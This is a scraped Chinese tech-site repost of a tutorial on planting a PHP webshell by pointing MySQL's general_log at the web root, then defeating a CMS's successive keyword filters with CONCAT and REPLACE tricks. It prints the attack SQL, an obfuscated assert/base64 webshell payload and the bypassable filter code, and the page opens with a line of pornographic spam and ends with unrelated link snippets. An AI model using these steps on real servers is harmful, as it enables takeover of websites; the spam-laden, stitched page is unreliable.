chinese直男口爆体育生外卖, 99久久er热在这里只有精品99, 又色又爽又黄18禁美女裸身无遮挡, gogogo高清免费观看日本电视,私密按摩师高清版在线,人妻视频毛茸茸,91论坛 兴趣闲谈,欧美 亚洲 精品 8区,国产精品久久久久精品免费

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

SQL語句利用日志寫shell及相關(guān)繞過

jf_hKIAo4na ? 來源:Mi1k7ea ? 2023-02-03 17:32 ? 次閱讀
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

0x01 基本原理

在能夠?qū)慡QL語句的地方,outfile、dumpfile、drop database等都被禁止,一般進(jìn)行SQL注入來getshell或刪庫的方式行不通了。

但是如果MySQL是root用戶啟動的,那么可以進(jìn)行如下利用:

show variables like '%general%';  #查看配置


set global general_log = on;  #開啟general log模式


set global general_log_file = '/var/www/html/1.php';   #設(shè)置日志目錄為shell地址


select ''  #寫入shell

SQL查詢免殺shell的語句(參考:SQL語句利用日志寫shell):

SELECT"'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a=array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_='a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>"

0x02 Bypass案例

這個案例雖然雞肋,但是思路還可以。

過濾 .php

代碼審計某CMS時,看到一處寫SQL語句的地方,此處之前報過漏洞,修復(fù)方案是過濾了outfile、dumpfile、drop database等,此外還過濾了.php字符串,為的就是防住SQL語句日志寫shell:

if(stristr($sql, 'outfile')){
    $str = 'ERROR : 檢測到非法字符 “outfile”!';
    break;
}
if(stristr($sql, 'dumpfile')){
    $str = 'ERROR : 檢測到非法字符 “dumpfile”!';
    break;
}
if(stristr($sql, '.php')){
    $str = 'ERROR : 檢測到非法字符 “.php” !';
    break;
}
if(preg_match("/^drop(.*)database/i", $sql)){
    $str = 'ERROR : 不允許刪除數(shù)據(jù)庫!';
    break;
}

這里直接寫上述的SQL語句肯定是不行的,因為set global general_log_file = '/var/www/html/1.php';的.php會被過濾掉。

這里只是針對字符串的檢測,可以用字符串拼接的方式Bypass,這里可以使用SQL語句中的concat家族系列函數(shù)來實現(xiàn)字符串拼接來Bypass:

show variables like '%general%';   #查看配置


set global general_log = on;        #開啟general log模式


set global general_log_file =CONCAT("/var/www/html/1.","php"); 


select '';   #寫入shell

過濾 .php和concat

在這次報過的漏洞之后,CMS廠商修改了這個洞,就是添加了對concat的字符串過濾,這樣concat家族系列函數(shù)就使不上了。

if(stristr($sql, 'outfile')){
    $str = 'ERROR : 檢測到非法字符 “outfile”!';
    break;
}
if(stristr($sql, 'dumpfile')){
    $str = 'ERROR : 檢測到非法字符 “dumpfile”!';
    break;
}
if(stristr($sql, '.php')){
    $str = 'ERROR : 檢測到非法字符 “.php” !';
    break;
}
if(stristr($sql, 'concat')){
    $str = 'ERROR : 檢測到非法字符 “concat” !';
    break;
}
if(preg_match("/^drop(.*)database/i", $sql)){
    $str = 'ERROR : 不允許刪除數(shù)據(jù)庫!';
    break;
}

使用concat進(jìn)行字符串拼接的方式?jīng)]法繞過了,但是除了字符串拼接,我們還能使用字符串替換的操作來繞過:

show variables like '%general%';   #查看配置


set global general_log = on;        #開啟general log模式


set global general_log_file =REPLACE("/var/www/html/1.jpg","jpg","php"); 


select '';   #寫入shell

過濾 .php、concat和replace

CMS廠商收到新的繞過漏洞報告后,又進(jìn)行新一輪的修復(fù),過濾了replace:

if(stristr($sql, 'outfile')){
    $str = 'ERROR : 檢測到非法字符 “outfile”!';
    break;
}
if(stristr($sql, 'dumpfile')){
    $str = 'ERROR : 檢測到非法字符 “dumpfile”!';
    break;
}
if(stristr($sql, '.php')){
    $str = 'ERROR : 檢測到非法字符 “.php” !';
    break;
}
if(stristr($sql, 'concat')){
    $str = 'ERROR : 檢測到非法字符 “concat” !';
    break;
}
if(stripos($sql, 'replace')){
    $str = 'ERROR : 檢測到非法字符 “replace” !';
    break;
}
if(preg_match("/^drop(.*)database/i", $sql)){
    $str = 'ERROR : 不允許刪除數(shù)據(jù)庫!';
    break;
}

字符串拼接和替換都不能成功進(jìn)行利用了,還有啥辦法不?

當(dāng)然還有新的Bypass方法哈哈。

作者:Mi1k7ea

菜鳥學(xué)安全

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請聯(lián)系本站處理。 舉報投訴
  • SQL
    SQL
    +關(guān)注

    關(guān)注

    1

    文章

    789

    瀏覽量

    46338
  • MySQL
    +關(guān)注

    關(guān)注

    1

    文章

    897

    瀏覽量

    29196
  • 日志
    +關(guān)注

    關(guān)注

    0

    文章

    145

    瀏覽量

    11025
  • Shell
    +關(guān)注

    關(guān)注

    1

    文章

    373

    瀏覽量

    25157
  • Bypass
    +關(guān)注

    關(guān)注

    0

    文章

    9

    瀏覽量

    5997

原文標(biāo)題:SQL語句利用日志寫shell及相關(guān)繞過

文章出處:【微信號:菜鳥學(xué)安全,微信公眾號:菜鳥學(xué)安全】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。

收藏 人收藏
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

    評論

    相關(guān)推薦
    熱點推薦

    利用ChatGPT通過Shell腳本來實現(xiàn)日志分析

    ChatGPT自出道以來,其出色的代碼能力被眾多程序員追捧,今天浩道就運維工作中常見的日志分析場景,利用ChatGPT讓它通過Shell腳本來實現(xiàn)日志分析
    的頭像 發(fā)表于 04-07 09:09 ?3809次閱讀

    SQL語句生成器

    SQL語句生成器SQL數(shù)據(jù)庫語句生成及分析器(支持表結(jié)構(gòu)、索引、所有記錄到SQL腳本)可用于數(shù)據(jù)數(shù)的備份和恢復(fù)!功能不用多說,試試就知道了
    發(fā)表于 06-12 16:15

    區(qū)分SQL語句與主語言語句

    為了區(qū)分SQL語句與主語言語句,所有SQL 語句必須加前綴EXEC SQL處理過程:含嵌入式
    發(fā)表于 10-28 08:44

    為什么要動態(tài)sql語句?

    為什么要動態(tài)sql語句?因為動態(tài)sql語句能夠提供一些比較友好的機制1、可以使得一些在編譯過程中無法獲得完整的sql
    發(fā)表于 12-20 06:00

    數(shù)據(jù)庫SQL語句電子教程

    電子發(fā)燒友為您提供了數(shù)據(jù)庫SQL語句電子教程,幫助您了解數(shù)據(jù)庫 SQL語句 ,學(xué)習(xí)讀懂?dāng)?shù)據(jù)庫SQL語句
    發(fā)表于 07-14 17:09 ?0次下載

    sql語句實例講解

    SQL是用來存取關(guān)系數(shù)據(jù)庫的語言,具有查詢、操縱、定義和控制關(guān)系型數(shù)據(jù)庫的四方面功能。常見的關(guān)系數(shù)據(jù)庫有Oracle,SQLServer,DB2,Sybase。開源不收費的有MYSQL,SQLLite等。今天我們主要以MYSQL為例子,講解SQL常用的
    發(fā)表于 11-17 12:39 ?1.2w次閱讀
    <b class='flag-5'>sql</b><b class='flag-5'>語句</b>實例講解

    如何使用navicat或PHPMySQLAdmin導(dǎo)入SQL語句

    很多朋友問我們怎么導(dǎo)入SQL語句,這是新人最需要知道的東西,現(xiàn)制作圖文教程,希望對新手有所幫助,順便文末附SQL語句導(dǎo)入導(dǎo)出大全,高手可以提供更加詳細(xì)的教程。
    發(fā)表于 04-10 15:06 ?2次下載

    SQL語句練習(xí)程序?qū)嵗赓M下載

      本文檔的主要內(nèi)容詳細(xì)介紹的是SQL語句練習(xí)程序?qū)嵗赓M下載。
    發(fā)表于 10-29 15:16 ?4次下載
    <b class='flag-5'>SQL</b>的<b class='flag-5'>語句</b>練習(xí)程序?qū)嵗赓M下載

    如何使用SQL修復(fù)語句程序說明

    本文檔的主要內(nèi)容詳細(xì)介紹的是如何使用SQL修復(fù)語句程序說明。
    發(fā)表于 10-31 15:09 ?5次下載

    最實用的SQL語句快來收藏學(xué)習(xí)吧

    文章沿著設(shè)計一個假想的應(yīng)用 awesome_app 為主線,從零創(chuàng)建修改數(shù)據(jù)庫,表格,字段屬性,索引,字符集,默認(rèn)值,自增,增刪改查,多表查詢,內(nèi)置函數(shù)等實用 SQL 語句。收藏此文,告別零散又低效
    的頭像 發(fā)表于 12-21 11:04 ?3658次閱讀

    嵌入式SQL語句

    為了區(qū)分SQL語句與主語言語句,所有SQL 語句必須加前綴EXEC SQL處理過程:含嵌入式
    發(fā)表于 10-21 11:51 ?4次下載
    嵌入式<b class='flag-5'>SQL</b><b class='flag-5'>語句</b>

    sql server執(zhí)行os-shell

    條件:數(shù)據(jù)庫權(quán)限必須是dba權(quán)限可利用sql-shll進(jìn)行命令執(zhí)行,部分常用ql語句
    的頭像 發(fā)表于 10-24 17:42 ?2851次閱讀

    sql注入漏洞解決方法有哪些?

    什么是sql注入?SQL注入(SQLi)是一種執(zhí)行惡意SQL語句的注入攻擊。攻擊者可能會利用 SQL
    的頭像 發(fā)表于 10-07 17:29 ?5979次閱讀
    <b class='flag-5'>sql</b>注入漏洞解決方法有哪些?

    sql查詢語句大全及實例

    SQL(Structured Query Language)是一種專門用于數(shù)據(jù)庫管理系統(tǒng)的標(biāo)準(zhǔn)交互式數(shù)據(jù)庫查詢語言。它被廣泛應(yīng)用于數(shù)據(jù)庫管理和數(shù)據(jù)操作領(lǐng)域。在本文中,我們將為您詳細(xì)介紹SQL查詢語句
    的頭像 發(fā)表于 11-17 15:06 ?2828次閱讀

    oracle執(zhí)行sql查詢語句的步驟是什么

    Oracle數(shù)據(jù)庫是一種常用的關(guān)系型數(shù)據(jù)庫管理系統(tǒng),具有強大的SQL查詢功能。Oracle執(zhí)行SQL查詢語句的步驟包括編寫SQL語句、解析
    的頭像 發(fā)表于 12-06 10:49 ?1644次閱讀